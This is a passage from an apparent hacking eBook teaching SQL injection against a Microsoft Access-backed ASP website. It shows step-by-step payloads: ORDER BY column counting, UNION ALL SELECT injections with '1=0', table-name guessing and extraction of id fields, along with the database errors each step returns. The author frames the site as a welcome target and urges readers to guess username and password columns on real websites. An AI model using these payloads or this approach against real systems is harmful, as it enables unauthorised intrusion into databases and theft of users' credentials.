/en/pressread.asp, line 44

Which clearly shows our target is vulnerable! Which is great :).

Getting the amount of columns we do by the following query:

order by 10#

Which you should be familiar with, as I showed you in the basic SQL Injection tutorial!

My query resulted in:

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '10' as a valid field name or expression.

/en/includes/configdb.asp, line 26

This can be seen as the same error of basic SQL Injection, now instead of saying unknown column

“10” in clause or something similar it says: database engine does not recognize “10” as a valid field

name or expression, telling us our columns are less than 10.

I changed from 10 columns to 7, which is giving me the correct result that I want:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in ORDER BY clause.

/en/includes/configdb.asp, line 26

This might seem like a complete failing error, but the page is loading, so I know I have 7 columns to

work with, let’s try and show them on the page.

563+AND+1=0+UNION+ALL+SELECT+1,2,3,4,5,6,7#

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] Query input must contain at least one table or query.

/en/includes/configdb.asp, line 26

I got this error spit out, basically telling us that it cannot complete our query without a database attached to our query, there for I will be GUESSING that my target has a column named: mxisgod

Page 26: Utilmate-eBook-About-SQL-Injection

PRESS RELEASES > 4 Date: JAN 2, 1900

Source:

ADODB.Field error '80020009'

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.

/en/pressread.asp, line 0

Now again we use 1=0 to error it out to show our numbers onto the page, for me column number “4” showed up so I will use that to exploit further with.

As you see above in our target, we see the number 4 after the > sign, if you want to be 100% sure that it is a column that shows we can use: 4444444444 instead of a single 4, showing us a bigger range (doh). My query used: +and+1=0+union+all+select+1,2,3,4,5,6,7 from mxisgod# We ignore the error and go on! Now that we are guessing, we have to guess the rest of the columns within mxisgod too! Luckily for you this is an example made by me, but most websites have standard names for their columns, like id – password – email, etc. Getting the info! Basically the same as normal SQL Injection for this example we have to use column “4” to get our info! +and+1=0+union+all+select+1,id,3,4,5,6,7 from mxisgod# And that should get us a number, now you can move on by yourself and guess the rest! If your confused, try Googling for standard username / passwords for database columns!